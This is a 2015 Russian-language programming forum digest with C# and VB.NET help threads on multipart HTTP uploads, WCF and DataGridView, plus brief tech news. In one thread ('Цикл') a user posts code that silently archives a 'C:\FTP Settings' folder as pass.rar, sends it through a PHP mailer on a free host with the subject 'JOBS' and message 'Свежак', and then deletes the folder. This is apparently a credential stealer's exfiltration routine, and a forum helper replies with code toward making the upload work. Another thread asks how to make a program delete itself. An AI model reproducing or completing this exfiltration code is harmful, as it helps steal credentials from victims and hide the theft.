Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Загрузка файла HTTP на C#



Загрузка файла HTTP на C#
2015-03-22 15:53 Sharp
Всем доброго дня/ночи/утра. Понадобилось загрузить файл средствами шарпа. Уже неделю мучаюсь, но ни как не могу понять реализацию. Были попытки через библиотеку xNet сделать, но и там свои проблемы. Может есть у кого прокоментированный код чтобы моя амфибия поняла, как это сделать. Передать нужно 2 параметра указанных на скриншоте.



RE: Загрузка файла HTTP на C#
2015-03-22 18:56 Алексей Немиро
Тип содержимого (content-type) должен быть multipart/form-data, с указанием границы (boundary).

Параметры в запрос записываются с указанием для каждого элемента заголовка Content-Disposition. Содержимое разделяется указанной в типе содержимого (content-type) границей (boundary).

В этой статьи показано как.

RE: Загрузка файла HTTP на C#
2015-03-22 21:44 Sharp
Смотрел ваш пример, но так и не понял где и когда передавать параметры. Вы делали под API и ответ у вас был в xml, а у меня будет в html и API нету. Отчет финдлера.


 private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Filter = "";
            if (ofd.ShowDialog() == DialogResult.OK)
            {
                textBox1.Text = ofd.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
            string uploadFileContentType = "application/octet-stream"; // по умолчанию будет application/octet-stream
            Microsoft.Win32.RegistryKey myRegistryKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(Path.GetExtension(textBox1.Text));
            if (myRegistryKey != null && myRegistryKey.GetValue("Content Type") != null)
            {
                uploadFileContentType = myRegistryKey.GetValue("Content Type").ToString();
            }

            string uploadUrl = "http://сайтd.рф/upload.php";
            HttpWebRequest req = (HttpWebRequest) HttpWebRequest.Create(uploadUrl);
            req.Method = "POST";

            string boundary = "----------" + DateTime.Now.Ticks.ToString("x");
            req.ContentType = String.Format("multipart/form-data; boundary={0}", boundary);

        }
    }

Дальше ступор. Направьте, что и как дальше

RE: Загрузка файла HTTP на C#
2015-03-22 23:51 Sharp
Еще одна попытка. Правда половину, кода даже не понимаю. Программа компилируется, но ни чего не отправляет
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace RefudScan
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            OpenFileDialog ofd = new OpenFileDialog();
            ofd.Filter = "JPEG|*.jpg|PNG|*.png|GIF|*.gif";
            if (ofd.ShowDialog() == DialogResult.OK)
            {
                textBox1.Text = ofd.FileName;
            }
        }

        private void button2_Click(object sender, EventArgs e)
        {
                       string boundary = "----------" + DateTime.Now.Ticks.ToString("x");
            var request = HttpWebRequest.Create("http://site.ru/upload.php") as HttpWebRequest;
            request.Method = "POST";
            request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
            request.Referer = "http://site.ru/upload.php";
            request.UserAgent = @"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0";
            request.ContentType = String.Format("multipart/form-data; boundary=---------------------------{0}", boundary);
            request.KeepAlive = true;
            request.ProtocolVersion = new System.Version(1, 0);
            request.Headers.Add(HttpRequestHeader.AcceptLanguage, "ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3");
            request.Timeout = 600000;
            request.AllowAutoRedirect = true;

            string uploadFileContentType = "application/octet-stream"; // по умолчанию будет application/octet-stream
            Microsoft.Win32.RegistryKey myRegistryKey = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(Path.GetExtension(textBox1.Text));
            if (myRegistryKey != null && myRegistryKey.GetValue("Content Type") != null)
            {
                uploadFileContentType = myRegistryKey.GetValue("Content Type").ToString();
            }

            Stream myReqStream = request.GetRequestStream();
            string header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n", boundary, "format");
            byte[] h = System.Text.Encoding.UTF8.GetBytes(header);
            myReqStream.Write(h, 0, h.Length);
            byte[] b = System.Text.Encoding.UTF8.GetBytes("xml");
            myReqStream.Write(b, 0, b.Length);

            header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"; " +
                                   "filename=\"{2}\"\r\nContent-Type: {3}\r\n\r\n",
                                   boundary, "uploadedfile", Path.GetFileName(textBox1.Text), uploadFileContentType);
            h = System.Text.Encoding.UTF8.GetBytes(header);
            myReqStream.Write(h, 0, h.Length);

            using (FileStream myFile = new FileStream(textBox1.Text, FileMode.Open, FileAccess.Read))
            {
                using (BinaryReader myReader = new BinaryReader(myFile))
                {
                    byte[] buffer = myReader.ReadBytes(2048);
                    while (buffer.Length > 0)
                    {
                        myReqStream.Write(buffer, 0, buffer.Length);
                        buffer = myReader.ReadBytes(2048);
                    }
                }
            }

            string footer = String.Format("\r\n--{0}--\r\n", boundary);
            byte[] f = System.Text.Encoding.UTF8.GetBytes(footer);
            myReqStream.Write(f, 0, f.Length);
        }
    }
}


Падает метод службы WCF
2015-03-23 00:36 Michael
Имеется служба WCF. Все методы работают, но при вызове ОДНОГО ИЗ методов, он отрабатывает, но затем возникает такое исключение:



RE: Падает метод службы WCF
2015-03-23 00:50 Алексей Немиро
А код в методе какой?

Перехват исключений есть? Если нет, то почему?

RE: Падает метод службы WCF
2015-03-23 01:40 Michael
Перехват есть.

Но дело в том, что ошибка возникает в автосгенерированном файле Reference.cs.
Вот фрагмент проблемного метода:



RE: Падает метод службы WCF
2015-03-23 03:01 Алексей Немиро
Служба отвечает, если через браузер обратиться? Фаервол не блокирует? Метод точно есть в службе, может не компилировались сборки или не было замены файлов на сервере (блокировку файлов можно не заметить).

Или может метод запроса неправильный. Можно попробовать обновить ссылку на службу, или переподключить ее.

RE: Падает метод службы WCF
2015-03-23 16:15 Michael
Да, код службы работает. Падение происходит уже после работы метода службы.

В Госдуму внесен законопроект о наделении блогеров правами журналистов
2015-03-23 16:26

Депутат Антон Казаков внес на рассмотрение в Госдуму законопроект, которым предлагается наделить популярных блогеров статусом, правами и обязанностями журналистов. «Без принятия данного закона блогеры, приравненные к журналистам, оказываются по сравнению с ними в ущемленном положении», — считает он.



RE: Падает метод службы WCF
2015-03-23 16:39 Michael
Обновлял ссылку, много раз.

RE: Загрузка файла HTTP на C#
2015-03-23 16:41 Алексей Немиро
Под что делать, значения не имеет. Протокол HTTP одинаковый везде.

Первый вариант кода совсем недоделанный.
Второй более ли менее должен работать.
byte[] b = System.Text.Encoding.UTF8.GetBytes("xml");
Зачем? Это же значение параметра.

См. на трафик в Fiidler. При типе содержимого multipart/form-data тело запроса будет следующим:

--граница
Content-Disposition: form-data; name=имяПараметра

значениеПараметра

--граница
Content-Disposition: form-data; name=имяПараметра2

значениеПараметра2

--граница
Content-Disposition: form-data; name=имяПараметраДляФайла; filename=имяФайла
Content-Type: типа/содержимого

телоФайла

...

и т.д. и т.п.

...

--граница в конце запроса

Если нужно передать параметр upload_file с одноименным значением, то код должен быть таким:
// заголовок, см. что будет вставлено в name="{1}"
string header = String.Format("\r\n--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n", boundary, "upload_file");
// получаем массив байт из текста заголовка
byte[] h = System.Text.Encoding.UTF8.GetBytes(header);
// пишем заголовок в запрос
myReqStream.Write(h, 0, h.Length);
// получаем массив байт для значения параметра
byte[] b = System.Text.Encoding.UTF8.GetBytes("upload_file"); // значение параметра
// пишем значение параметра в запрос
myReqStream.Write(b, 0, b.Length);
И так должно быть с каждым параметром, который необходимо передать.

Код передачи файла вроде правильный. Нужно в Fiddler-е смотреть, в режиме RAW.

RE: Падает метод службы WCF
2015-03-23 16:44 Алексей Немиро
Без кода можно только гадать, почему не работает. Может ресурсов не хватает, памяти?

Что показывает Fiddler?

Facebook протестирует публикацию контента СМИ без перехода по внешним ссылкам
2015-03-25 15:50

Facebook через несколько месяцев собирается начать тестирование новой формы сотрудничества с крупнейшими мировыми СМИ. В рамках этого сотрудничества, соцсеть перенесет к себе статьи из газет и журналов, чтобы уменьшить время загрузки контента. Facebook договорился с The New York Times, National Geographic и Buzzfeed.



Цикл
2015-03-26 15:47 i32
Не знаю ..Все через каку описал но работало ...Пока на работу не снес..Не тут начал перелопачивать... ПОДПРАВТЕ,,,Если конечно не впадло..
Смысл был что таймер работает с 1 а цикл с 0 . нужна была рассылка..
Потом возникли другие проблемы..ю.
Там пхп код .. Может что то попроще кто либо подскажет.?
я не шарю ..То что нашол в гугле..Такое трудно описать в нет.
?php 
  if(empty($_POST['mail_to'])) exit("Введите адрес получателя"); 
  // проверяем правильности заполнения с помощью регулярного выражения 
  if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to'])) exit("Введите адрес в виде somebody@server.com"); 
  $picture = ""; 
  // Если поле выбора вложения не пустое - закачиваем его на сервер 
  if (!empty($_FILES['mail_file']['tmp_name'])) 
  { 
    // Закачиваем файл 
    $path = $_FILES['mail_file']['name']; 
    if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path; 
  } 
  $mail_from = $_POST['mail_from'];
  $mail_to = $_POST['mail_to'];
  $thm = $_POST['mail_subject'];
  $msg = $_POST['mail_msg'];
  
  // Отправляем почтовое сообщение 
 if(empty($picture)) mail($mail_to, $thm, $msg); 
 else send_mail($mail_from, $mail_to, $thm, $msg, $picture); 
//send_mail($mail_from,$mail_to, $thema, $html, $path)
  // Вспомогательная функция для отправки почтового сообщения с вложением (Trianon)
 function send_mail($mail_from, $mail_to, $thema, $html, $path)   

  { if ($path) {  
    $fp = fopen($path,"rb");   
    if (!$fp)   
    { print "Cannot open file";   
      exit();   
    }   
    $file = fread($fp, filesize($path));   
    fclose($fp);   
    }  
    $name = "zamer2015.rar"; // в этой переменной надо сформировать имя файла (без всякого пути)  
    $EOL = "\r\n"; // ограничитель строк, некоторые почтовые сервера требуют \n - подобрать опытным путём
    $boundary     = "--".md5(uniqid(time()));  // любая строка, которой не будет ниже в потоке данных.  
    $headers    = "MIME-Version: 1.0;$EOL";   
    $headers   .= "Content-Type: multipart/mixed; boundary=\"$boundary\"$EOL";  
    $headers   .= "From: $mail_from"; 
	//$headers   .= $mail_from;
      
    $multipart  = "--$boundary$EOL";   
    $multipart .= "Content-Type: text/html; charset=windows-1251$EOL";   
    $multipart .= "Content-Transfer-Encoding: base64$EOL";   
    $multipart .= $EOL; // раздел между заголовками и телом html-части 
    $multipart .= chunk_split(base64_encode($html));   

    $multipart .=  "$EOL--$boundary$EOL";   
    $multipart .= "Content-Type: application/octet-stream; name=\"$name\"$EOL";   
    $multipart .= "Content-Transfer-Encoding: base64$EOL";   
    $multipart .= "Content-Disposition: attachment; filename=\"$name\"$EOL";   
    $multipart .= $EOL; // раздел между заголовками и телом прикрепленного файла 
    $multipart .= chunk_split(base64_encode($file));   

   
    $multipart .= "$EOL--$boundary--$EOL";   
      
        if(!mail($mail_to, $thema, $multipart, $headers)) 
		//echo('<font color=FF0000>Неверно введено (или не введено) кол-во сообщений</font>');
         {return False;           //если не письмо не отправлено
      }  
    else { //// если письмо отправлено
	echo('<center><b><font color=#00FF00>Сообщение успешно отправлено</font></b></center>');
    return True;  
    }  
  exit;  
  }
?>
Это что то тытал
 Sub Main()
        ProgressBar1.Maximum = 10
        Try
            ProgressBar1.Value = 2
            Label3.Text = ""
            Dim req As Net.HttpWebRequest
            Dim resp As Net.HttpWebResponse
            Dim str, str2 As IO.Stream
            Dim Proxy As String = TextBox2.Text
            Dim boundary As String = "------WebKitFormBoundary" + DateTime.Now.Ticks.ToString("X")
            ProgressBar1.Value = 3
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос"))
            Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & "@mail.ru" & "&mail_to=" & "@mail.ru" & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _
               "C:\FTP Settings\zamer2015.rar" & "&tmp_name=" & "zamer2015.rar")

           
            req = Net.WebRequest.Create("http://.webege.com/images/22.php")
            If TextBox2.Text = "" Then
                req.Proxy = Nothing
            Else
                req.Proxy = New WebProxy(Proxy)
            End If
            ProgressBar1.Value = 5
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text))
            ' req.ServicePoint.Expect100Continue = False
            req.Method = "POST"
            req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
            '   Das hier alles ist so gesehn unwichtig aber egal :)
            req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0"
            req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3")
            req.Referer = "http://mskpsk.webege.com/"
            req.Headers.Add("UA-CPU", "x86")
            req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate")
            'Furn Post Request den ContentType & Lenght + Data
            req.ContentType = "application/x-www-form-urlencoded"
            '  req.ContentType = Convert.ToString("multipart/form-data; boundary=") & boundary
            ' req.ContentType = "multipart/form-data; boundary=" & boundary '----WebKitFormBoundaryq4pNAy5vuI4uDe4S"
            req.Headers.Add("Cookie", cuc)
            req.AllowAutoRedirect = True
            ' Build up the post message header
            Dim sb As New StringBuilder()
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_from""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("rokin@mail.ru")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_to""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("ovb71@mail.ru")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append("Content-Disposition: form-data; name=""mail_subject""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("zamer")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_msg""")
            sb.Append(vbCr & vbLf)
            sb.Append(vbCr & vbLf)
            sb.Append("привет")
            sb.Append(vbCr & vbLf)
            sb.Append(boundary)
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Disposition: form-data; name=""mail_file""; filename=""zamer2015.rar""")
            sb.Append(vbCr & vbLf)
            sb.Append("Content-Type: application/octet-stream")
            '  Dim postHeader As String = sb.ToString()

            ' Dim data As Byte() = Encoding.UTF8.GetBytes(postHeader)
            req.ContentLength = data.Length
            str2 = req.GetRequestStream()
            str2.Write(data, 0, data.Length)
            str2.Close()
            ProgressBar1.Value = 6
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера"))
            resp = req.GetResponse
            str = resp.GetResponseStream()
            Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            ProgressBar1.Value = 8
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251"))
            ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese
            Dim soq As String = Buffer
            Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            Label3.Text = (m.Groups("Bl").Value)
            Label3.ForeColor = Color.Red
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!"))
            ' Dim soq1 As String = Buffer
            'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            '  MsgBox(m1.Groups("Bl").Value)
            ' TextBox6.Text = (m.Groups("Bl").Value)
            req = Nothing
            resp = Nothing
            str = Nothing
            Buffer = Nothing
        Catch e As Exception
            ProgressBar1.Value = 0
            MessageBox.Show(e.Message)
        End Try
        ProgressBar1.Value = 10
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        ListBox1.Text = "LOGI"
        ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Готов к работе.."))
        For a As Integer = 0 To ComboBox1.Items.Count - 1 'Step 1
            spisok = ComboBox1.Items.Count - 1
            ' MsgBox(spisok)
        Next
    End Sub
    Private Sub countup()
        WriteGoodCountSub()
    End Sub
    Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        thread = New System.Threading.Thread(AddressOf countup)
        thread.Start()
        batn()
        Shell("cmd /c timeout /t 100", vbHide)
        Shell("cmd /c start /min WinRAR.exe u -r -y -ep1 C:\""FTP Settings""\pass.rar C:\""FTP Settings"" >nul", vbHide)
        If CheckBox1.Checked = True Then 'опредиляем коллич.в списке              
            batn()
            comb = ComboBox1.Items(0)
            Main()
            Timer1.Interval = 5000
            Timer1.Start() 'Timer starts 
        Else
            Main1()
        End If
    End Sub
 Sub Main1()
        ProgressBar1.Maximum = 10
        Try
            ProgressBar1.Value = 3
            Dim req As Net.HttpWebRequest
            Dim resp As Net.HttpWebResponse
            Dim str, str2 As IO.Stream
            Dim Proxy As String = TextBox2.Text
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Создаю ПОСТ Запрос"))
            Dim data As Byte() = System.Text.Encoding.GetEncoding(1251).GetBytes("&mail_from=" & comb & "&mail_to=" & comb & "&mail_subject=" & "JOBS" & "&mail_msg=" & "Свежак" & "&mail_file=" & _
                                                                    "C:\FTP Settings\pass.rar" & "&tmp_name=" & "pass.rar")
            '  req = Net.WebRequest.Create("http://..com/simple_mmail.php")
            req = Net.WebRequest.Create("http://..com/simple_mmail.php")
            If TextBox2.Text = "" Then
                req.Proxy = Nothing
            Else
                req.Proxy = New WebProxy(Proxy)
            End If
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Конект через " & TextBox2.Text))
            ' req.ServicePoint.Expect100Continue = False
            req.Method = "POST"
            req.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
            '   Das hier alles ist so gesehn unwichtig aber egal :)
            req.UserAgent = "Mozilla/5.0 (Windows NT 5.1; rv:35.0) Gecko/20100101 Firefox/35.0"
            req.Headers.Add(Net.HttpRequestHeader.AcceptLanguage, "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3")
            req.Referer = "http://.webege.com/"
            req.Headers.Add("UA-CPU", "x86")
            req.Headers.Add(Net.HttpRequestHeader.AcceptEncoding, "gzip, deflate")
            'Furn Post Request den ContentType & Lenght + Data
            req.ContentType = "application/x-www-form-urlencoded"
            req.Headers.Add("Cookie", cuc)
            req.AllowAutoRedirect = True
            req.ContentLength = data.Length

            str2 = req.GetRequestStream()
            str2.Write(data, 0, data.Length)
            str2.Close()
            ProgressBar1.Value = 8
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Ждем ответа сервера"))
            resp = req.GetResponse
            str = resp.GetResponseStream()
            Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.GetEncoding(1251)).ReadToEnd
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Читаем ответ..Кодировка 1251"))
            ' Dim Buffer = New IO.StreamReader(str, System.Text.Encoding.ASCII).ReadToEnd 'das ist die auslese
            Dim soq As String = Buffer
            Dim m As Match = Regex.Match(soq, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            Label3.Text = (m.Groups("Bl").Value)
            Label3.ForeColor = Color.Red
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- ВСЕ ОТЛИЧНО!!! Смотрим свое МЫЛО!!"))
            ' Dim soq1 As String = Buffer
            'Dim m1 As Match = Regex.Match(soq1, "<center><b><font color=#00FF00>(?<Bl>.*?)</font></b></center>")
            '  MsgBox(m1.Groups("Bl").Value)
            ' TextBox6.Text = (m.Groups("Bl").Value)
            ProgressBar1.Value = 10
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Удаляем папку ""C:\FTP Settings"""))
            If IO.Directory.Exists("C:\FTP Settings") Then
                IO.Directory.Delete("C:\FTP Settings", True)
            End If
            ProgressBar1.Value = 0
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос"))
            For i = 0 To ListBox1.Items.Count - 1
                ListBox1.Text = ListBox1.Items(i)
                ListBox1.ClearSelected()
            Next

        Catch e As Exception
            MessageBox.Show(e.Message)
        End Try
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If pss >= spisok Then
            Timer1.Stop() 'Timer stop
            Timer1.Enabled = False
            ProgressBar1.Value = 0
            ListBox1.Items.Add(Strings.Format(Now, "yyyy-MM-dd HH-mm-ss" & "- Спасибо и Досвидос"))
            For i = 0 To ListBox1.Items.Count - 1
                ListBox1.Text = ListBox1.Items(i)
                ListBox1.ClearSelected()
            Next
            MsgBox("Timer Stopped...." & vbCrLf & _
                   "РАЗОСЛАНО" & vbCrLf & spisok + 1 & "  MESSAGI")
        Else
            Main()
            pss += 1
            comb = ComboBox1.Items(pss)
            countup()
            ' Main()
        End If
    End Sub
    Public Sub WriteGoodCountSub()
        If Not (Me.InvokeRequired) Then
            Label2.ForeColor = Color.Magenta
            Label2.Text = comb.ToString
        Else
            Me.Invoke(New WriteGoodCount(AddressOf WriteGoodCountSub))
        End If
    End Sub
Ну последняя функция , Может и не нужная я думал ч то таймер голову парить начнет.
там я поток сделал..
Спасибо..


RE: Цикл
2015-03-26 18:58 Алексей Немиро
Не совсем понимаю суть проблемы. Много кода

Нужно отправить письмо? Именно через php?
В .NET есть классы для отправки писем по SMTP. Вот в этой теме есть пример кода. Это будет проще, чем делать веб-запросы.

RE: Проблемма с изменением цвета строк в DataGridView
2015-03-26 19:22 Леонид
Спасибо за ответ, но результат не изменился.
Результат положительный только в случае повторного нажатия на Butoon2. Но Почему? Так и не разобрался...
Вышел из положения только так:

Dim knok As Integer
Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
...........
..........
knok = knok + 1
If knok = 1 Then Button2_Click(sender, e)
End Sub

??????????????????????????????


RE: Проблемма с изменением цвета строк в DataGridView
2015-03-26 21:29 Алексей Немиро
А цикл срабатывает после первого нажатия?
Можно добавить перед циклом код:
MessageBox.Show(DataGridView1.RowCount)
Чтобы проверить, есть строки в DataGridView1 или нет. Если будет ноль, то цикл не будет работать, т.к. получается, что данных в DataGridView1 на тот момент нет.

Хотя, по идее строки должны быть, даже если данных много, они должны в текущем потоке загружаться...

Вторая потенциальная проблема может быть в условии, которое определяет, нужно красить строку или нет. Если убрать это условие, все строки будут подкрашиваться?

Amazon запустил сервис безлимитного хранения файлов
2015-03-27 15:57

Интернет-компания Amazon представила безлимитные тарифы на облачные услуги: хранение любого объема фотографий и еще 5 гигабайт любых других файлов в придачу обойдется в 12 долларов в год, безлимитное хранение любых файлов стоит 60 долларов в год. Эти тарифы выгодны тем, кто хранит в интернете больше 15 гигабайтов.



Объявлены цены на Samsung Galaxy S6 и S6 Edge в России
2015-03-27 15:59

В «Гостином дворе» состоялась официальная презентация Samsung Galaxy S6 и S6 Edge. В ходе мероприятия, организованного в рамках «Недели моды в Москве», были объявлены цены на флагманы 2015 года. Несмотря на дороговизну, ценой новинки компании Samsung не смогли превзойти Apple iPhone 6 и iPhone 6 Plus.



Google официально ответила на запрос журналиста &#171;гифкой&#187;
2015-03-27 15:59

Официальный представитель Google на просьбу прокомментировать слухи о перезапуске YouTube своего стримингового сервиса прислал gif-анимацию. Журналист Daily Dot направил в Google запрос, на который получил в ответ «гифку» с изображением недоумевающей девочки, ставшую интернет-мемом.



В Москве пройдет интерактивная выставка современных технологий
2015-03-30 15:36

В столичном технополисе «Москва» 28-29 марта пройдет интерактивная выставка современных технологий TechTrends Expo. На ней будут представлены носимые устройства, электроника для умного дома, гаджеты для создания виртуальной и дополненной реальности, а также 3D-сканеры и объемные принтеры.



RE: Проблемма с изменением цвета строк в DataGridView
2015-03-30 17:13 Леонид
Добавил проверку перед циклом "MessageBox.Show(DataGridView1.RowCount)" строки не пустые, условие вообще исключил строки так и не подкрашиваются...

Самоудаление приложения
2015-03-30 17:26 Леонид
Приветствую всех! Кто может подсказать как на VB.net реализовать удаление программы (самой себя) и всего ее содержимого после ну например 5-ти запусков?
в VB.net я новичок.
Спасибо заранее...

RE: Самоудаление приложения
2015-03-30 17:44 Алексей Немиро
Само себя приложение не сможет удалить, т.к. файл приложения будет блокирован.
Нужно делать отдельное приложение, которое будет удалять приложение. Точнее bat-файл.

RE: Проблемма с изменением цвета строк в DataGridView
2015-03-30 21:20 Алексей Немиро
Значит что-то другое удаляет изменения...

Нужен код проекта.

У меня, с показанным ниже кодом, все работает, как положено:
Public Class Form1
  Private DT As New DataTable

  Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
    Dim XX, YY, ZZ As Double
    Dim ppp As Integer 'счетчик количества строк содержащих ‘XXXX**’
    'XX = TextBox4.Text 'считываем в переменную содержание текстовых полей
    'YY = TextBox5.Text 'считываем в переменную содержание текстовых полей
    'ZZ = TextBox6.Text 'считываем в переменную содержание текстовых полей
    DT.Clear()
    DT.Columns.Add("a")
    DT.Columns.Add("b")
    DT.Columns.Add("c")

    DT.Rows.Add("1", "ХХХХХ", "123")
    DT.Rows.Add("2", "ХХХХХ**", "123")
    DT.Rows.Add("3", "ХХХХХ", "123")
    DT.Rows.Add("4", "ХХХХХ**", "123")
    DT.Rows.Add("5", "ХХХХХ", "123")

    'формируем запрос с условием:
    'SqlCom = New OleDb.OleDbCommand("SELECT_ [Код],[TipKT],[Structure],[Uke],[Ikmax],[Pkmax],[H21e] FROM [DanTR] where [Pkmax] >= " & Str(XX) & " and [Ikmax]>=" & Str(YY) & " and [Uke]>=" & Str(ZZ) & "", Con)
    ' Con.Open() ' Открываем соединение
    ' SqlCom.ExecuteNonQuery() 'Выполняем запрос
    'DA = New OleDb.OleDbDataAdapter(SqlCom) 'Через адаптер получаем результаты запроса
    'DA.Fill(DT) ' Заполняем результатами таблицу
    Me.DataGridView1.DataSource = DT ' Привязываем DataGridView к источнику данных
    DataGridView1.AllowUserToAddRows = False ' Удаляем последнюю пустую строку если есть
    Dim ss As Integer ' Объявляем счетчик
    For J As Integer = 0 To DataGridView1.RowCount - 1
      ss = DataGridView1.Item(1, J).Value.ToString().IndexOf("**")
      ' Проверка на: если есть строки с ‘XXXX**’ и если есть закрашиваем в синий цвет
      If ss <> -1 Then
        ppp = ppp + 1
        ' Пробую так:
        Me.DataGridView1.Rows(J).DefaultCellStyle.BackColor = Color.Blue
        ' Пробую и так:
        'Me.DataGridView1.Rows(J).DefaultCellStyle.ForeColor = Color.Blue
      End If
    Next
    'TextBox13.Text = ppp ' показываем сколько выполненных условий (это так для контроля)
    'Con.Close() ' Закрываем соединение
    ' Скрываю колонки не нужные для отображения, оставляем только 1-ю
    DataGridView1.RowHeadersVisible = False
    DataGridView1.Visible = True
  End Sub
End Class


Проверка записей датагрид на соответствие
2015-03-31 13:53 email333333
Здравствуйте.
На форме два датагрида.
Пользователь выделяет запись в первом датагриде.
Если у этой записи значение поля № 1 равно значению поля № 1 в любой записи из датагрид2 то выдать сообщение
"Соответствие найдено".

Чтобы эту задачу решить мне нужно пройтись от for i до количества записей во втором датагриде и выполнить такую проверку?
If DatagriedView1.CurrenRow.Cells(0).Value = DatagriedView2.Rows(i).Cells(0).Value

RE: Цикл
2015-03-31 15:23 i32
Привет Да Нужно отправить письмо через свой сервак по php//
Просто у меня такой ПХП Что просто забив адресс файла (C\\file.jpg)-Придет ПУСТЫШКА
Анализатор пишет <Place Holder for File> и Content-Type: application/octet-stream... Да ище весь файл в байтах..
Как токое описать на VB..Просто другие виды отправки с вложением не работают - с расчета из этого..


RE: Проверка записей датагрид на соответствие
2015-03-31 15:44 Алексей Немиро
Да, верно.

Value имеет тип данных Object, это следует учитывать, чтобы не было казусов.
Лучше сравнивать строки:
If DatagriedView1.CurrenRow.Cells(0).Value.ToString().Equals(DatagriedView2.Rows(i).Cells(0).Value.ToString()) Then
  DatagriedView2.CurrentCell = DatagriedView2.Rows(i).Cells(0) 'выделяем найденную ячейку 
  MessageBox.Show("Совпадение найдено")
  Exit For 'выход из цикла
End If


RE: Цикл
2015-04-01 00:21 Алексей Немиро
Код неправильный совсем

Если есть .NET Framework 4.5, то можно подключить к проекту сборку System.Net.Http.

Dim client As New System.Net.Http.HttpClient()
Dim content As New System.Net.Http.MultipartFormDataContent()

'параметры
Dim stringContent As New System.Net.Http.StringContent("rokin@mail.ru")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_from"
content.Add(stringContent)

stringContent = New Net.Http.StringContent("ovb71@mail.ru")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_to"
content.Add(stringContent)

stringContent = New System.Net.Http.StringContent("zamer")
